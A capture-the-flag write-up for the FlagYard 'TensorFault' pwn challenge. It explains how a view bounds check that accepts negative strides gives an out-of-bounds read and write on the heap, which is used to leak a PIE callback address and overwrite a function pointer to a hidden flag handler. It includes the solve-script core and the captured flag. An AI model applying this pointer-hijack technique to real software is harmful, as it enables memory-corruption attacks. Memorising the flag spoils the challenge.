FlagYard CTFPwn
TensorFault
The view bounds check accepts negative strides, so a view can walk before the tensor's data allocation.
- Competition
FlagYard CTF
- Category
- PwnMedium · estimated
- Source status
- Source-documented · not platform-verified
- Document
- PDF edition3 min read
Brief
The challenge
- Category
- PWN
- Target
tcp.flagyard.com:16316(port rotates per instance)
A "Mini Tensor Engine" lets you create tensors, create views over them with a custom offset/count/stride, read/write elements through those views, and execute a per-tensor operation.
TL;DR
The view bounds check accepts negative strides, so a view can walk before the tensor's data allocation. Each tensor's data sits immediately after its operation object (opcode, callback, argument). A backward view leaks the PIE address of the normal operation callback H. A hidden handler lives at H - 0x193; it prints the flag when the operation's opcode == 0x1337c0de and argument == 0x54454e534f52 ("TENSOR"). Using the same backward view we overwrite the operation object with those values plus callback = H - 0x193, then execute the operation.
No libc leak, no FSOP, no shell needed.
01
The service
Connecting shows a simple menu:
=== TensorFault :: Mini Tensor Engine v1.0 ===1) Create tensor2) Create tensor view3) Write tensor element4) Print tensor view5) Execute operation6) Delete tensor7) ExitA view is defined by (tensor_id, offset, count, stride) and every element access resolves to:
addr = data_base + (offset + index*stride) * 802
The bug
The view creation validates the forward window but never rejects negative strides. With stride = -1 the view reads/writes downward from the tensor's data base, straight into whatever precedes the data buffer in the heap.
The tensor's data is allocated immediately after its operation object, so a backward view maps onto it like this (with offset = 0, stride = -1):
| view index | address | field |
|---|---|---|
view[8] | data_base - 0x40 | operation opcode (+0x00) |
view[7] | data_base - 0x38 | operation callback (+0x08) |
view[6] | data_base - 0x30 | operation argument (+0x10) |
03
Leaking the callback H
Create a 4-element tensor and a backward view (id=0, offset=0, count=32, stride=-1), then print it. The dump shows:
[5] 0x6f5f726f736e6574 <- "tensor_o..." (the name string)[7] 0x55c908cd0778 <- H, the normal operation callback (PIE)view[7] is the PIE address of the normal operation callback, H.
05
Triggering it
Using the same backward view we overwrite tensor 0's operation object, then execute the operation:
view[8] = 0x1337c0de # opcodeview[7] = H - 0x193 # callback -> hidden handlerview[6] = 0x54454e534f52 # argument ("TENSOR")-> Execute operation on tensor 0The hidden handler runs, both checks pass, and the flag is printed.
[*] normal callback H = 0x55c908cd0778[*] hidden_handler = 0x55c908cd05e5[*] opcode/callback/argument overwritten; executing...===== OUTPUT =====FlagY{4c4b35f00e8c1f56bd6ba9c2caa1cea3}Solve script
Full script in solve_flag.py; the core:
c.create(4) # tensor 0vid = c.mkview(0, 0, 32, -1) # backward view over the operation objectE, _ = c.read_view(vid)H = E[7] # leak normal callback (PIE)hidden = H - 0x193 # hidden handlerc.write_view(vid, 8, 0x1337c0de) # opcodec.write_view(vid, 7, hidden) # callback -> hidden handlerc.write_view(vid, 6, 0x54454e534f52)# argument "TENSOR"c.sl("5"); c.ru("id: "); c.sl("0") # execute -> prints flagRun it against the live instance:
python solve_flag.py 16316Flag
Flag
FlagY{4c4b35f00e8c1f56bd6ba9c2caa1cea3}
Source-documented · not platform-verified
Takeaways
Signed/negative strides in an index formula are an OOB primitive in both directions; validating only the upper bound is not enough.
Objects allocated adjacent to a leakable buffer (here the operation object right before the tensor data) give both a PIE leak and a write target.
"Hidden" win functions are often a fixed offset from a leaked pointer; reading the surrounding code to find the prologue pins the exact address.